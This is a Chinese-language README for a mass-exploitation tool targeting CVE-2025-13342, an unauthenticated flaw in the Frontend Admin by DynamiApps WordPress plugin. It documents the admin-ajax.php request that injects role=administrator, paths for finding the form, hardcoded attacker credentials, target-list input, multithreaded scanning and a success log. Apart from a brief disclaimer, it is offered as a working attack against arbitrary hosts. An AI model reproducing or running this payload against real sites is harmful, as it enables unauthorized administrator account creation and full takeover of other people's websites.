Frontend Admin by DynamiApps <= 3.28.20 - 未认证的任意选项更新
__ __ _ _ _ ___ ,________ _
/ ()(| |_// () / )/ \/ )|__ /| __/ __/| |/ )
| | | >- ----/| |/ \----| \ \|__|_/
\___/ \/ \___/ /__\_//__\__/ |\__/\__/ |/__
发生了什么:
ActionOptions::run() 的保存处理程序在写入 wp_options 之前既未检查用户能力,也未验证输入。一个公开的ACF前端表单成为了开放的写入通道。攻击者设置 users_can_register=1 和 default_role=administrator,然后注册一个新账户,该账户会自动获得管理员角色。
此工具跳过了两步法 — 它直接提交了精心构造的表单载荷,通过 acff[user][field_*] 将 role=administrator 注入用户创建字段,在一次AJAX调用中直接创建管理员账户。
1. 爬取常见注册路径 → 定位ACF前端表单
2. 解析隐藏字段 → _acf_nonce, _acf_form
3. 映射用户字段 → 用户名 · 邮箱 · 密码 · 角色
4. POST /wp-admin/admin-ajax.php
action=frontend_admin/form_submit
acff[user][<角色字段>] = administrator
5. {"success":true} → 管理员账户创建成功
6. 写入 acf_success.txt
requests
beautifulsoup4
colorama
rich
pip install requests beautifulsoup4 colorama rich
git clone https://github.com/Nxploited/CVE-2025-13342.git
cd CVE-2025-13342
pip install -r requirements.txt
python3 CVE-2025-13342.py
工具为交互式。您将被询问四个问题:
目标文件路径 → list.txt
线程数 → 10
超时(秒) → 10
详细调试 → y / N
凭据已在内部固定:
| 字段 | 值 |
|---|---|
| 用户名 | Nxadmin1 |
| 邮箱 | [email protected] |
| 密码 | NxAdmin_1337#KSA |
每行一个主机 — 协议可选:
https://target1.com
target2.com
http://target3.com
该工具按顺序探测每个目标的 28 个路径,在找到第一个有效ACF表单时停止:
/ /register/ /registration/ /signup/ /sign-up/
/user-registration/ /account/ /my-account/
/frontend-form/ /frontend-register/ ...
| 文件 | 内容 |
|---|---|
acf_success.txt | 确认成功的管理员账户创建 |
格式:
[2025-06-01 14:30:22] BASE=https://target.com FORM=https://target.com/register/
USER=Nxadmin1 [email protected] PASS=NxAdmin_1337#KSA JSON={"success":true,...}
终端:
[+] 目标基础URL: https://target.com
[+] 在找到表单: https://target.com/register/
_acf_nonce: a1b2c3d4e5
_acf_form: 123
[+] 成功: https://target.com
[-] 在 ... 上未找到合适的ACF前端表单
[-] 失败: https://target2.com
| 作者 | Nxploited (Khaled Alenazi) |
| GitHub | github.com/Nxploited |
| Telegram | @KNxploited |
此工具仅用于授权的安全研究和教育目的。
作者对任何未经所有者明确书面许可而针对系统使用本工具的行为概不负责。
未经授权的访问违反CFAA、CMA及全球等效法律,属违法行为。
您需对自己的行为承担全部责任。
| 字段 | 详情 |
|---|
| CVE ID | CVE-2025-13342 |
| 评分 | 9.8 严重 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| 影响范围 | Frontend Admin by DynamiApps ≤ 3.28.20 |
| 认证 | 无 — 完全未认证 |
| 类型 | 能力检查不足 + 输入验证缺陷 → 任意选项写入 |
| CWE | CWE-284 · 不当访问控制 |